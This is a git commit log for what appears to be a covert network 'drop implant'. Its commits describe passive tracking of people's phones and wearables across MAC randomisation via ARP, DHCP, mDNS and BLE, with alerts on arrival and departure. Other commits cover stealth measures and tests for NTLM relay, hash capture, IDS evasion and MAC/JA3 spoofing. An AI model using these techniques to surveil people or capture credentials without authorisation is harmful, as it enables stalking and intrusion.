Compare commits

..

204 Commits

Author SHA1 Message Date
Cobra 25ca623466 Remove transient AI workflow audit artifacts and gitignore future ones 2026-07-21 13:10:27 -04:00
Cobra 9bf87b97df housekeeping: add .claude/ to .gitignore 2026-04-22 15:22:31 -04:00
Cobra db06403b58 Fix arrival/departure gates dropping LAA MACs; halve ARP scan interval
The phone/wearable gate used a manual OUI check that missed privately-addressed
MACs (iOS 14+/Android 10+ randomize per network). Any phone not pre-configured
in device_labels was silently enrolled with no alert, causing ARRIVED/OCCUPIED
to never fire. Replacing the gate with is_personal_device() catches OUI, labels,
and LAA bit uniformly.

ARP scan interval drops from 30s to 15s so worst-case arrival detection is 15s.
2026-04-15 15:25:32 -04:00
Cobra b17a3baee9 Reduce departure latency from 30min worst-case to 6min
Watchdog timeout and departure debounce were both 900s — stacked,
worst-case VACANT alert was 30 minutes after leaving. With active ARP
scanning every 30s we can confirm absence quickly, so both timers drop
to 180s. Override via NET_ALERTER_WATCHDOG_TIMEOUT and
NET_ALERTER_DEPARTURE_DEBOUNCE env vars.
2026-04-15 14:50:19 -04:00
Cobra 98791d340a Gate arrival/departure alerts to phones and wearables only
Non-phone OUIs (IoT, thermostats, TVs, etc.) are silently enrolled
for presence tracking but never trigger Matrix alerts. Only devices
matching MOBILE_DEVICE_OUIS or with an explicit label in device_labels
produce alerts.
2026-04-15 13:19:05 -04:00
Cobra 871281b042 Add active ARP scanning to bypass AP proxy on WiFi networks
Passive ARP sniffing fails on modern WiFi because the AP intercepts
ARP broadcasts and responds on behalf of clients. Active scanning
sends who-has to all 254 /24 addresses and collects replies directly,
making presence detection reliable regardless of AP configuration.

Also adds monitor mode sniffer thread that activates automatically if
a second WiFi interface is present (e.g. USB dongle). Reads raw 802.11
frames, bypassing the AP stack entirely for station-transmitted data
and management frames.
2026-04-15 12:58:59 -04:00
Cobra 405b19f8a4 Suppress BlueZ teardown race on SIGTERM in ble_alerter
When systemd sends SIGTERM, asyncio cancels the scan task before
BleakScanner.__aexit__ runs. BlueZ already stopped discovery by then,
so stop() throws 'No discovery started'. This was crashing the service
and triggering a 22-restart loop before systemd settled. Catch the
specific error string and treat it as a debug-level no-op.
2026-04-15 00:30:32 -04:00
Cobra 3084c76b02 Fix MAC normalization in ARP opcode=2 trust gate
is_labeled compared raw src_mac against normalized device_labels keys,
always evaluating False for labeled devices. ARP replies (opcode=2) from
personal MACs were never trusted, so on_arrival only fired on ARP
requests (opcode=1) which are rare. Labeled devices now correctly pass
the opcode=2 gate, triggering arrival alerts with their display name.
2026-04-15 00:24:59 -04:00
Cobra c422b7e3f6 Add BLE GATT Device Name probing and WiFi+BLE arrival correlation
ble_alerter.py: probe Apple BLE devices via GATT characteristic 0x2A00
to discover device names (iPhone, Apple TV, etc). Names persist to
ble_names.json with last_seen timestamps. GATT_PROBE=1 enables active
probing; without it, Apple device last_seen timestamps still tracked.

net_alerter.py: on WiFi device arrival, read ble_names.json and log
any Apple BLE devices seen within the last 60s as correlation candidates.
Gives operator visibility into which BLE MACs co-arrived with a WiFi device.

Shared state file: /opt/net_alerter/ble_names.json
2026-04-15 00:03:35 -04:00
Cobra f860f64a3f Label takes precedence over DHCP hostname in arrival/departure alerts
iOS sends 'My iPhone' via DHCP option 12 regardless of the actual device
name set on the phone. Operator-set labels are authoritative and should
not be overridden by privacy-obscured DHCP hostnames.
2026-04-14 23:50:23 -04:00
Cobra e11cf67c55 Delay arrival alert 2s so mDNS hostname resolves before alert fires
DHCP triggers on_arrival immediately but iPhone sends mDNS frames
milliseconds later. Without the delay the alert fires with no hostname
and falls back to the device label. Timer reads from known_devices at
fire time so mDNS-updated hostname is used.
2026-04-14 23:37:06 -04:00
Cobra b6429ba0c2 Prefer auto-discovered hostname over device label in alerts
Label in device_labels is for tracking/identification. When mDNS reveals
the real device name, use it. Label serves as fallback when no hostname
has been discovered yet.
2026-04-14 23:34:34 -04:00
Cobra 2f3ab82dae Extract Bonjour hostname from mDNS and use it in arrival/departure alerts
_extract_mdns_hostname scans A records in mDNS payload before on_arrival fires,
so the ARRIVED alert shows the device's actual name instead of the IP.
_parse_mdns_for_names also now updates known_devices hostname on subsequent frames,
so departure alerts get the real name even if the first frame had no A record.
2026-04-14 23:23:07 -04:00
Cobra c46d70b3a4 Skip all personal devices from ARP seed, not just labeled ones
Operator needs ARRIVED for any phone or wearable on site, including
unknown devices. Silent seeding only applies to infrastructure and
non-personal devices.
2026-04-14 23:17:13 -04:00
Cobra cf380bc9eb Prevent labeled devices from being silently seeded; detect opcode=2 ARP for labeled MACs
seed_from_arp_cache was adding labeled personal devices to known_devices at startup,
causing all subsequent arrivals to be ignored (already_known=True). Now skips them
so on_arrival fires normally when they rejoin.

ARP opcode=2 (replies) are now treated as genuine signals for explicitly labeled devices.
iPhones with privacy MACs frequently emit only opcode=2 after initial association — the
AP proxy forgery concern doesn't apply to devices the operator has explicitly named.
2026-04-14 23:06:05 -04:00
Cobra a1d5892b6b Prevent churn suppression from silencing labeled personal devices
Phone (c6:37:b0:b2:07:30) was cycling through arrivals/departures faster
than the 30-min churn window threshold, causing _check_churn to add its
IP to infrastructure_ips. All subsequent on_arrival calls were silently
dropped by the infrastructure IP check, so no ARRIVED alerts fired.

Two fixes:
- _check_churn: skip churn suppression entirely for MACs in device_labels
  or personal_devices — labeled devices are never infrastructure
- on_arrival already-known path: upgrade ip from '0.0.0.0'/'unknown'
  (ARP probe placeholder) to real IP when netlink delivers the actual address
2026-04-14 22:45:15 -04:00
Cobra 9649e9e30d Exclude infrastructure MACs from personal device detection via NET_ALERTER_INFRA_MACS
Travel routers and other LAA-bit devices get misclassified as personal phones
because the LAA heuristic fires on any MAC with bit 1 set (b6:cc is 0xb6).
Add infrastructure_macs set checked before the LAA heuristic in is_personal_device().
NET_ALERTER_INFRA_MACS env var (comma-separated MACs) populates the set at startup.
2026-04-14 22:10:28 -04:00
Cobra 7c6f56d85f Remove Tailscale exclusion machinery — root cause was a bad .env label
b6:cc was mislabeled as 'Dane iPhone' causing it to be treated as a
personal device. Removing the label fixes the problem without needing
any Tailscale-specific code. Keep mDNS and ARP arrival fixes.
2026-04-14 22:06:58 -04:00
Cobra ddc1c94f20 Fix seed_tailscale_peers to use CurAddr field not Endpoints
tailscale status --json uses CurAddr for the active direct endpoint,
not Endpoints (which is always null/absent). Without this fix the
Tailscale exclusion set was always empty.
2026-04-14 21:51:52 -04:00
Cobra 7b6e46e321 Fix three presence monitoring bugs: Tailscale exclusion, mDNS arrival, ARP personal device arrival
Tailscale peers (travel router b6:cc) were kept perpetually REACHABLE in the
kernel ARP cache by OPi's WireGuard keepalives, refreshing last_seen and
blocking departure alerts. seed_tailscale_peers() excludes their MACs.

mDNS was only refreshing the watchdog timer for already-known devices. Apple
devices send mDNS on WiFi join as the primary signal — now calls on_arrival()
so first-seen mDNS triggers ARRIVED alert and occupancy update.

ARP opcode 1 for personal devices never called on_arrival(), so devices that
joined without DHCP (c6:37 My iPhone at 01:25) got no alert. Now fires
on_arrival() for personal devices not yet in known_devices.
2026-04-14 21:51:02 -04:00
Cobra c7eb1ee14f Prevent watchdog from re-triggering departure on already-departing devices
Repeated watchdog calls for a device already in departing=True state
were feeding the churn suppressor, which misclassified the iPhone's IP
as infrastructure after 3 calls within 30 min. This blocked all
subsequent departure processing and caused a 31-min alert delay.

Fix: gate the on_departure() call on a should_depart flag set only when
the device is known and not already departing.
2026-04-14 20:40:09 -04:00
Cobra 319f11c1dc Fix arrival suppression when device returns during departure debounce
Watchdog-triggered departures set departing=True after 15 min of silence.
If the device returned during the 15-min debounce window, on_arrival()
treated it as a rapid flap and suppressed the ARRIVED alert — even though
the device had been genuinely absent for 15+ minutes.

Store depart_initiated timestamp when setting departing=True. On re-arrival,
check the gap: < 120s = true rapid flap (transient Netlink/DHCP event),
suppress as before. >= 120s = real absence confirmed by watchdog, pop the
device from known_devices and let it fall through to the new-device path
so the ARRIVED alert fires.

Also removes debug traceback instrumentation left in _update_last_seen
from the prior investigation session.
2026-04-14 19:49:33 -04:00
Cobra 6cf44f57d1 Disable active probes — passive-only operation required
arping/ICMP probes on device appearance violate the passive-only
design constraint. Stub out _fire_active_probes to return immediately.
2026-04-14 16:18:12 -04:00
Cobra cc63fe8429 Seed last_seen from ARP cache on startup so watchdog has a baseline
Without this, last_seen is empty after every restart and the watchdog
skips all devices (ts is None → continue). Devices that are genuinely
active refresh last_seen via ARP requests or mDNS. AP proxy ghosts only
send ARP replies (now filtered), so they go silent and the watchdog
fires departure after WATCHDOG_TIMEOUT_SEC.
2026-04-14 16:07:47 -04:00
Cobra e07db91742 Ignore ARP replies in last_seen updates to block AP proxy spoofing
AP ARP proxy sends REPLY frames with the disconnected client's MAC as
the Ethernet source. Treating those as genuine device signals kept
last_seen fresh, preventing the watchdog from detecting departure.

Only ARP REQUEST (opcode 1) frames originate from the device itself.
Skip _update_last_seen() for opcode 2 (REPLY) frames.
2026-04-14 15:57:56 -04:00
Cobra 59460d0b6a Fix departure detection for AP ARP-proxy networks (passive-only)
ARP proxy on WiFi APs causes the kernel neighbor table to show devices
as REACHABLE even after they disconnect. This made last_seen refresh
continuously from on_arrival() (netlink path), preventing the watchdog
from ever detecting departure.

Two fixes:
1. Remove _update_last_seen() from on_arrival() — netlink events are
   not reliable as a genuine-traffic source on ARP-proxy networks.
   last_seen is now only updated by the raw packet capture path (ARP
   requests, mDNS, DHCP) where src_mac must be the device itself.

2. Watchdog now covers all is_personal_device() entries in known_devices,
   not just the personal_devices enrollment set. device_labels entries
   (like named phones) were previously unmonitored by the watchdog.
2026-04-14 15:52:26 -04:00
Cobra e75b2c4775 Fix false presence: only trigger arrival on NUD_REACHABLE, not STALE/DELAY/PROBE
Kernel fires RTM_NEWNEIGH for NUD_STALE, NUD_DELAY, and NUD_PROBE states
as it probes a potentially-departed device. Each probe was calling on_arrival()
which refreshed last_seen, preventing the watchdog from ever detecting departure.

Only NUD_REACHABLE confirms a device is actually on the network.
2026-04-14 15:38:30 -04:00
Cobra de61ce89e3 Add Garmin/Fitbit OUIs; consolidate personal device detection into is_personal_device()
Garmin and Fitbit wearables use globally-assigned OUI MACs (no private addressing)
so the LAA bit check misses them. Added their OUIs to MOBILE_DEVICE_OUIS.

Consolidated all three detection signals into is_personal_device():
1. Explicit config (device_labels, personal_devices)
2. OUI table (phones + Garmin/Fitbit)
3. LAA bit (iOS 14+/Android 10+ private MACs)

Occupancy _is_personal now delegates to is_personal_device instead of duplicating logic.
2026-04-14 15:01:49 -04:00
Cobra 23c4f15df8 Use LAA MAC bit to auto-detect phones/wearables for occupancy
Modern phones use private/random MACs (iOS 14+, Android 10+) which
always have the locally-administered bit set (bit 1 of first octet).
TVs, gateways, and smart home devices use globally-assigned OUI MACs
where this bit is clear.

No configuration needed — any LAA MAC counts toward occupancy.
Explicit device_labels/personal_devices still work as fallback.
2026-04-14 14:58:53 -04:00
Cobra 3c421aa933 Restrict occupancy to personal devices only (phones/wearables)
Previously counted every non-infrastructure device toward OCCUPIED state,
causing TVs and other stationary equipment to falsely indicate occupancy.

Now only MACs in device_labels or personal_devices count. Everything else
is observed but ignored for presence purposes.
2026-04-14 14:56:20 -04:00
Cobra 4b66ba96fe Fix MAC normalization in device_labels lookup; add label support to arrival/departure alerts
device_labels keys are normalized (no colons, uppercase) but known_devices keys
are colon-lowercase. device_labels.get(mac) always returned None.

Also extend label display to arrival and departure alerts — if a MAC has a
configured label, show that instead of vendor/hostname.
2026-04-14 14:52:41 -04:00
Cobra 403a1679d0 Add device labels to occupancy alerts — include who is present
NET_ALERTER_DEVICE_LABELS=MAC=Name,MAC=Name maps known devices to
friendly names. OCCUPIED alerts now show which devices are present.
Falls back to vendor string then MAC tail if no label configured.
2026-04-14 14:46:18 -04:00
Cobra f3bdf1a153 Fire occupancy alert on startup — UNKNOWN→OCCUPIED was silently suppressed
Previously the service would suppress the startup OCCUPIED alert, meaning
if phones were already present when the service started, no Matrix alert
ever fired until a departure+return cycle. Users never received confirmation
the sensor was working.
2026-04-14 14:39:02 -04:00
Cobra 95957b290c Any enrolled non-infrastructure device marks location as occupied 2026-04-14 14:25:32 -04:00
Cobra e5ca53eb04 Enroll on first contact — 1 source is better than none 2026-04-14 14:21:52 -04:00
Cobra 7fa6383d18 Implement mDNS as standalone enrollment signal and active probes on device discovery
Changes:
1. mDNS as separate signal category: Map 'mdns' signal_type to its own signal_category (not grouped with 'wifi'). Enrollment now triggers when EITHER (a) len(signal_types) >= 2 OR (b) 'mdns' in signal_types.

2. Active probes on device discovery: When new identity is created, fire non-blocking probes to collect additional signals. Uses arping or ping (no new deps) to probe IP if available. Runs in daemon thread to avoid stalling correlation loop.

This allows devices announcing via mDNS to be enrolled immediately without waiting for a second signal type, while still collecting additional signals for richer device profiles.
2026-04-14 14:12:36 -04:00
Cobra 1295bd57a7 net_alerter: Add Strategy 0 MAC deduplication and fix Strategy 3 overwrite bug
Strategy 0 now checks if a MAC already exists in any identity's wifi_macs/ble_macs
sets before creating a new record. Prevents duplicate identity creation on repeated
mDNS/ARP signals.

Strategy 3 now conditionally updates existing records instead of unconditionally
overwriting them. Preserves signal_count and signal_types accumulation needed for
auto-enrollment (2+ signal types).

Fixes issue where devices seen only via mDNS/ARP never reached enrollment threshold.
2026-04-14 13:39:37 -04:00
Cobra e0086bce6f Exit cleanly when no BT adapter found instead of crash-looping
Wrap BleakScanner context manager in try-except to detect adapter
initialization errors. If 'No Bluetooth adapters found' or similar, log
warning and set shutdown event to trigger graceful exit with code 0.
Prevents systemd restart loop on hardware without BT adapter (e.g. OPi).
2026-04-14 13:29:29 -04:00
Cobra 0116cb974a Add audit artifacts from #671 review pipeline 2026-04-14 13:18:35 -04:00
Cobra d74984e5c4 Support wpa_supplicant config format on OPi/Armbian targets
- Add detect_wifi_config_type() to identify config format (netplan vs wpa_supplicant)
- Add read_wpa_supplicant() to parse wpa_supplicant-wlan0.conf
- Add write_wpa_supplicant() to write updated config with proper formatting
- Update run_interactive(), run_list(), run_add() to detect and dispatch to correct handler
- Both formats now auto-detected; existing netplan paths continue to work
- wpa_supplicant format used by OPi Zero 3 / Armbian defaults
2026-04-14 13:14:35 -04:00
Cobra 65d42229ad Fix P1/P2 audit findings from #671 review
P1 Fixes:
- Signal count enrollment logic: Changed from broken signal_count increment to tracking distinct signal types (BLE vs WiFi) using a set. Device enrolls when len(signal_types) >= 2, ensuring multi-source correlation.
- DNS mDNS pointer endianness: Added bounds check to prevent out-of-bounds reads when following DNS compression pointers. Checks pointer_offset < offset and pointer_offset < len(payload) before recursing.
- Nested RLock fragility: Refactored enrollment callback to not acquire lock (caller _ingest_signal holds it). Renamed _on_device_enrolled() to _fire_enrollment_callback() and removed lock acquisition.

P2 Fixes:
- BLE Handoff parsing: Implemented full HCI packet parsing to extract Apple Company ID (0x004C), Handoff message type (0x0C), and sequence number (bytes 4-5, big-endian). Calls _ingest_signal() with handoff_seq parameter.
- DNS record count overflow: Capped total_records at 1000 to prevent unbounded loop DoS on crafted mDNS packets.
- device_store unbounded growth: Added simple eviction when store exceeds 500 entries - evicts 100 oldest by first_seen timestamp. No LRU needed for MVP.

All 40 existing tests continue to pass.
2026-04-14 12:46:44 -04:00
Cobra 3dccfea838 Add multi-source device identity store and zero-config enrollment (#671)
Track devices across MAC rotations using BLE Handoff sequence numbers
and DHCP Option 55 fingerprinting. Auto-enroll personal devices when
seen on 2+ independent signal types. Handle iOS MAC rotation silently.
Confidence-based departure only fires for enrolled devices.

Changes:
- New device_store dict for stable device identity tracking (keyed by
  handoff seq anchor or DHCP fingerprint hash)
- _dhcp_fingerprint_hash() computes stable DHCP Option 55 fingerprint
- _create_identity_record() initializes device records
- _on_device_enrolled() triggers silent enrollment when signal_count >= 2
- _correlate_or_create_identity() finds or creates identities via BLE seq
  or DHCP fingerprint, handles MAC rotation detection
- _ingest_signal() ingests signals from multiple sources (BLE, DHCP, ARP,
  mDNS) and triggers enrollment when criteria met
- ble_sniffer() thread for Apple Continuity Protocol parsing (HCI socket +
  hcidump fallback); graceful failure on missing hardware
- Modified parse_frame() to extract DHCP Option 55 and ingest signals for
  ARP, mDNS, DHCP packets
- Updated main() to start BLE sniffer thread and log device_store stats
2026-04-14 12:38:32 -04:00
Cobra 4903e750c9 Add tests for iOS departure detection features
New tests for net_alerter iOS departure detection:
- test_update_last_seen_updates_dict: verifies _update_last_seen dict updates
- test_personal_watchdog_fires_on_departure_after_timeout: timeout detection
- test_personal_watchdog_does_not_fire_within_timeout: no false positives
- test_mdns_name_matching_adds_mac_to_personal_devices: mDNS name discovery
- test_load_personal_macs_from_env_does_not_log_individual_macs: privacy logging

All 21 tests passing (16 existing + 5 new).
Updated cleanup fixture to include last_seen, personal_devices, personal_names.
2026-04-13 20:30:49 -04:00
Cobra 814085c0b3 Add iOS departure detection via passive ARP/mDNS capture and watchdog
Implement passive observation tracking for iOS devices:
- Add last_seen dict and lock for tracking passive frame observations
- Parse ARP frames (ethertype 0x0806) for MAC observation
- Parse mDNS frames (UDP port 5353) for device name auto-discovery
- Rename parse_dhcp to parse_frame to reflect broader scope
- Add personal_names set for device name matching
- Parse NET_ALERTER_PERSONAL_NAMES env var (comma-separated device names)
- Add mDNS DNS message parsing to extract PTR/SRV/A record names
- Auto-add MACs to personal_devices when mDNS name matches personal_names
- Call _update_last_seen on all frame types (ARP, mDNS, DHCP)
- Add personal_watchdog thread to fire on_departure after WATCHDOG_TIMEOUT_SEC
- Add NET_ALERTER_WATCHDOG_TIMEOUT env config (default 900s)
- Fix load_personal_macs_from_env logging to show counts instead of MACs

Changes are minimal and focused:
- No socket changes (existing AF_PACKET socket already sees all frames)
- No new dependencies (stdlib only)
- Deadlock prevention (watchdog does not hold locks when calling on_departure)
- Backward compatible (personal_names optional, watchdog is passive)
2026-04-13 20:27:00 -04:00
Cobra c012480b7e fix _check_churn self-deadlock — remove redundant known_lock nesting
on_departure() holds known_lock when calling _check_churn(). When churn
threshold is hit, the nested `with known_lock:` inside _check_churn tried
to reacquire an already-held non-reentrant lock → permanent deadlock.

This killed the production process on the OPi Zero 3 after ~15 hours of
runtime on 2026-04-12 at ~02:12 UTC. infrastructure_ips.add() is safe
without the inner lock since the caller already holds known_lock.

Also: reset _churn_tracker between tests to prevent cross-test state
accumulation that triggered the churn threshold in test isolation.
2026-04-13 17:07:25 -04:00
Cobra ebe576d2e0 Remove Matrix credentials from global memory — load at call time
Fix #605: Remove MATRIX_HOMESERVER, MATRIX_ACCESS_TOKEN, MATRIX_ROOM_ID from module-level globals.
Credentials are now read at call time in send_alert() via _read_env_value() to minimize
credential lifetime in process memory.

Fix #606: Update deploy.sh to use Infisical creds CLI instead of .secrets file.
Fetches NET_ALERTER_PASSWORD from matrix folder in Infisical vault, then generates
access token at deploy time.

All 16 net_alerter tests pass when run individually or in groups.
2026-04-13 04:00:56 -04:00
Cobra de7cfe552c Fix timer.cancel() deadlock and add MAC format validation
Two P1 bugs fixed:

1. Timer cancel deadlock: timer.cancel() was called while holding locks, which would deadlock if the callback was running/paused waiting for those same locks. Fixed by extracting timers outside of all locks before calling cancel().

2. MAC validation: _normalize_mac() now validates format with regex and returns empty string for invalid MACs. Callers (load_personal_macs_from_env, is_personal_device) skip empty results and log warnings.

All 16 tests pass.
2026-04-12 08:41:04 -04:00
Cobra 56801c6baa Fix P1 bugs in occupancy tracking: lock ordering deadlock, MAC normalization, and race condition
- P1-1: Fix lock ordering deadlock by establishing canonical order (known_lock → departure_lock → occupancy_lock). Refactor on_arrival() to acquire locks in correct order. Fix send_departure_alert() callback to hold occupancy_lock while updating state.
- P1-2: Add _normalize_mac() helper to strip colons/hyphens, apply to load_personal_macs_from_env() and is_personal_device() for consistent MAC comparison.
- P1-3: Remove occupancy_lock acquisition from _update_occupancy_state_unlocked() - callers must hold lock. Update all callers to acquire occupancy_lock before calling.

All individual tests pass. Fixes allow on_arrival() and timer callbacks to execute without deadlock.
2026-04-12 07:57:37 -04:00
Cobra ec6e9e31d1 Implement occupancy tracking with personal device detection and deadlock fix
- Add MOBILE_DEVICE_OUIS set with 55+ OUI prefixes for personal devices
- Add is_personal_device() function to detect personal devices by OUI or manual config
- Add load_personal_macs_from_env() to parse NET_ALERTER_PERSONAL_MACS
- Add location_occupancy state tracking (VACANT/OCCUPIED/UNKNOWN)
- Add update_occupancy_state() function with thread-safe alerts on transitions
- Add _update_occupancy_state_unlocked() helper to prevent deadlock
- Fix deadlock in on_arrival() by using unlocked version when holding known_lock
- Update test suite with 5 new occupancy tests
- Fix test assertions to exclude occupancy alerts for device arrival tests
2026-04-12 07:26:57 -04:00
Cobra 96d1042239 Apply Delta Reviewer QA corrections to net_alerter security review
- Correction 1: Add severity justification notes to all 15 CRITICAL findings explaining uprates from source agent JSON
- Correction 2: Complete triage mapping with explicit (FIX-NOW)/(FIX-DETECTION)/(FIX-OPSEC) labels on all findings
- Correction 3: Add Appendix A deduplication mapping showing raw→consolidated finding ID merges (54 raw → 29 consolidated HIGH+CRITICAL)
- Correction 4: Preserve agent-specific structured fields in consolidated findings:
  - RT findings: Tools, Exploitation Time, Attack Chain steps
  - IR findings: Failure Mode scenarios, Impact window
  - BT findings: Detection Source, Theoretical TTD minutes
- Correction 5: Add explicit triage labels to High-Severity section findings

All 5 Delta Reviewer QA corrections applied. Report now ready for gate review.
2026-04-10 23:34:42 -04:00
Cobra bd39ea7b15 Append Delta Reviewer QA report to consolidated security findings 2026-04-10 23:28:24 -04:00
Cobra 6e2a4e7c32 Consolidate 6-agent security review into unified report
- Deduplicate 105 raw findings into 52 unique consolidated issues
- Apply severity calibration rubric across SA, OA, BT, APT, RT, IR agents
- Map findings to 6 triage categories (FIX-NOW, FIX-DETECTION, FIX-OPSEC, FIX-QUALITY, NOT-FIXING, DEFERRED)
- Prioritize 4 user-specified concerns: flap suppression blind spot, gateway exclusion, debounce aggressiveness, flap detection OPSEC
- Include cross-agent consensus table (28 multi-agent findings, 54% of total)
- Provide pre-deployment checklist and remediation effort estimates
- Executive summary with 15 CRITICAL, 22 HIGH, 13 MEDIUM, 2 LOW findings
2026-04-10 23:23:44 -04:00
Cobra 2090c4e572 Add three dynamic infrastructure auto-suppression mechanisms to net_alerter
- Option A: OUI-based auto-exclusion for network equipment (Ubiquiti, Cisco, Aruba, TP-Link, Netgear, MikroTik, Ruckus)
- Option B: Churn-based suppression (cycles 3+ times in 30min auto-suppresses device)
- Option C: Verify NET_ALERTER_INFRA_IPS env var is documented and functional

Implementation:
- Added NETWORK_EQUIPMENT_OUIS set with 45 common network equipment OUI prefixes
- Added _check_churn() function to track departure events within 30min window
- Integrated OUI check into on_arrival() and seed_infrastructure_ips()
- Integrated churn check into on_departure() before timer start
- Enhanced seed_infrastructure_ips() docstring to document all 5 seeding steps
- Removed interactive BB_ALERTER_INFRA_IPS prompt from operator_setup.sh (post-deploy config only)
2026-04-10 22:57:40 -04:00
Cobra b9ae73de02 Add NET_ALERTER_INFRA_IPS config to setup.sh .env template and operator_setup.sh prompt 2026-04-10 22:50:56 -04:00
Cobra 1e478a749e Add flap state cleanup to test_net_alerter for test isolation
Tests now call cleanup_flap_state() at the start of each test to properly
reset the interface flap detection state (_flap_window, _interface_recovering,
_recovery_timer) between tests, preventing state carryover failures.
2026-04-10 22:46:07 -04:00
Cobra bfa0acc793 Add interface flap detection and env var for infrastructure IPs in net_alerter
- Fix 1: Interface flap detection suppresses departure storms when wlan0 briefly loses association and triggers simultaneous RTM_DELNEIGH events for all cached neighbors
  - Tracks 3-second window of departure MACs
  - Locks recovery state for 60 seconds if 3+ departures occur in rapid succession
  - Prevents false positive alerts during interface recovery

- Fix 2: Additional infrastructure IPs via NET_ALERTER_INFRA_IPS env var
  - Allows operator to suppress alerts for devices like access points that cycle regularly
  - Comma-separated list of IP addresses to be seeded as infrastructure at startup
  - Example: NET_ALERTER_INFRA_IPS=192.168.1.214,192.168.1.220

Addresses DevTrack #467 (net_alerter false positive alerts)
2026-04-10 22:45:15 -04:00
Cobra b43ebf35ee Deploy presence daemon to OPi Zero 3 test implant
sensor.service running at 192.168.1.10. ARP + DHCP sensors active.
Probe sniffer degraded (no wlan1). BLE degraded (BlueZ too old for or_patterns).
Untracked audit files committed for reference.
2026-04-10 15:49:03 -04:00
Cobra 93592ae2ff Add bounds checks to netlink and DHCP parsers — prevent exception flood on malformed packets 2026-04-10 15:49:03 -04:00
Cobra c6fb35430d Fix P1 blockers: configurable port, connection leak, race condition, DB path + WAL
- P1 #551: Add STATUS_PORT env var (default 9191) for configurable HTTP status server port
- P1 #552: Fix SQLite connection leak — wrap all sqlite3.connect() with try/finally in lookup_person(), seed_persons_from_db(), log_signal(), log_presence_change()
- P1 #553: Fix race condition in update_person_state() — compute certainty snapshot under devices_lock, determine state transition under persons_lock, send alert outside locks to prevent stale snapshot
- P2 #559 (included): Add WAL mode + pragmas to init_db() for concurrent write safety
- Database path: Align to /opt/sensor/presence.db in both daemon and install.sh
- Increase connection timeout from 1s to 10s across all functions
- install.sh: Document PRESENCE_STATUS_PORT and PRESENCE_MATRIX_WEBHOOK env vars
2026-04-10 15:49:03 -04:00
Cobra 6e0a293075 Add presence daemon user documentation and architecture guide 2026-04-10 15:49:03 -04:00
Cobra d1abd45173 Add passive presence daemon — multi-signal WiFi/ARP/DHCP/BLE with exponential decay
Implements DevTrack #530: Person Presence Intelligence daemon for BigBrother drop implant.

Core components:
- presence_daemon.py: 4 sensor threads (probe, ARP, DHCP, BLE) with exponential decay
- presence_schema.sql: SQLite schema for persons, devices, signals, occupancy log
- install.sh: Deployment script (copies to /opt/sensor/, creates systemd service)
- AUDIT_impl.md: Implementation notes, limitations, audit checklist

Features:
- Exponential decay model (lambda=0.08/min) for signal certainty
- Presence anchor (45-min hold time prevents false VACANT)
- Person state machine: UNKNOWN → PRESENT ↔ ABSENT
- Multi-signal fusion: max + 0.08×min for device aggregate
- Thread-safe in-memory state with SQLite persistence
- Matrix webhook alerting (if configured)
- HTTP status endpoint on 127.0.0.1:9191
- Graceful BLE degrade if bleak unavailable
- No tool fingerprints in output or service names
2026-04-10 15:49:03 -04:00
Cobra ea973f9ebe Revert "Add presence DB schema; fix BLE passive scan mode (bleak #1440)"
This reverts commit 2499db6147be65c76e7e202190b81855ba7b9100.
2026-04-10 15:49:03 -04:00
Cobra 7f54cd00c0 Revert "Add Phase 1 WiFi presence daemon — mDNS + ARP fusion with exponential decay and presence anchor"
This reverts commit b9adf498106c52f1c7508a791a7aac30d5ca1955.
2026-04-10 15:49:03 -04:00
Cobra 715654666b Add Phase 1 WiFi presence daemon — mDNS + ARP fusion with exponential decay and presence anchor 2026-04-10 15:49:03 -04:00
Cobra 80fc79709a Add presence DB schema; fix BLE passive scan mode (bleak #1440) 2026-04-10 15:49:03 -04:00
Cobra c4d6262bd2 Apply QA corrections to consolidated security review: deconflict APT-001 triage, add deduplication transparency, document exploit chain dependencies 2026-04-10 15:49:03 -04:00
n0mad1k 8223751490 Add comprehensive test suites for 7 bigbrother modules
Cover packet_capture (rotation/zstd/AES), credential_db (dedup/hashcat/bulk),
ja3_spoofer (profiles/cipher mapping/randomization), responder_mgr (hash
capture/dedup/conf gen), ntlm_relay (protocol inference/command building/
coordination), ids_tester (risk assessment/preflight/caplet), and bridge
(setup/teardown/ebtables/watchdog). 187 tests total, all passing.
2026-04-10 07:38:28 -04:00
n0mad1k fded0ff4e7 Add responder_mgr NTLM hash capture validation tests 2026-04-10 07:37:22 -04:00
n0mad1k 7aab56cbe0 Add ntlm_relay wrapper and ADCS relay validation tests 2026-04-10 07:36:16 -04:00
n0mad1k 79baaa61b7 Add ids_tester IDS evasion self-test validation tests 2026-04-10 07:34:49 -04:00
n0mad1k ecec702937 Add validation tests for packet_capture, credential_db, and ja3_spoofer
Tests cover:
- packet_capture: zstd compression, AES-256-GCM encryption, rotation
  pipeline, disk purge, file locking (15 tests)
- credential_db: ingestion, deduplication at scale (1000+), hashcat
  export filtering, crack status management, bulk update, CSV/JSON
  export, query helpers (25 tests)
- ja3_spoofer: builtin profile validation, cipher ID mapping, external
  DB loading, auto-selection, SSL context config, randomization
  validation (28 tests)

Addresses DevTrack items #424, #425, #437.
2026-04-10 07:29:08 -04:00
n0mad1k ddb4c5d0a8 Expand p0f OS fingerprint signatures from 16 to 102 entries
Comprehensive p0f-style TCP SYN signatures covering Linux (kernel 2.0-6.x,
Android, Chrome OS, Alpine, containers), Windows (2000 through 11/Server
2022, XP, Embedded), macOS (Tiger through Sonoma), iOS/iPadOS/tvOS/watchOS,
BSDs (Free/Open/Net/DragonFly), Solaris/illumos, network devices (Cisco
IOS/NX-OS/IOS-XE, Juniper, MikroTik, Ubiquiti, pfSense, OPNsense,
Fortinet, Palo Alto, Aruba, F5, HP ProCurve, Arista), printers (HP,
Brother, Epson, Canon, Xerox, Ricoh, Kyocera, Lexmark, Zebra), embedded/
IoT (lwIP, uIP, VxWorks, QNX, Zephyr, ESP-IDF, FreeRTOS, Contiki-NG,
Windows IoT), gaming consoles, and virtualization guests.

DevTrack: bigbrother #419
2026-04-10 07:06:50 -04:00
n0mad1k 05a3f7553b Expand MAC profiles from 55 to 132 innocuous device profiles
Added profiles for: more streaming devices (Shield TV, Roku 4K),
additional smart TVs (Hisense, Insignia, Philips, Toshiba), more smart
speakers (Sonos Era, HomePod, Bose, Echo Pop/Studio), extensive IoT
devices (Arlo, Eufy, Chamberlain, Lutron, Lifx, Roborock, SmartThings,
August, Honeywell), more printers (Kyocera, Lexmark, Ricoh, Xerox),
additional gaming (Xbox Series S, Switch OLED, Steam Deck), more phones
(Pixel, OnePlus, Xiaomi), wearables (Apple Watch, Fitbit, Garmin,
Galaxy Watch), network gear (Linksys, ASUS, eero), and NAS devices
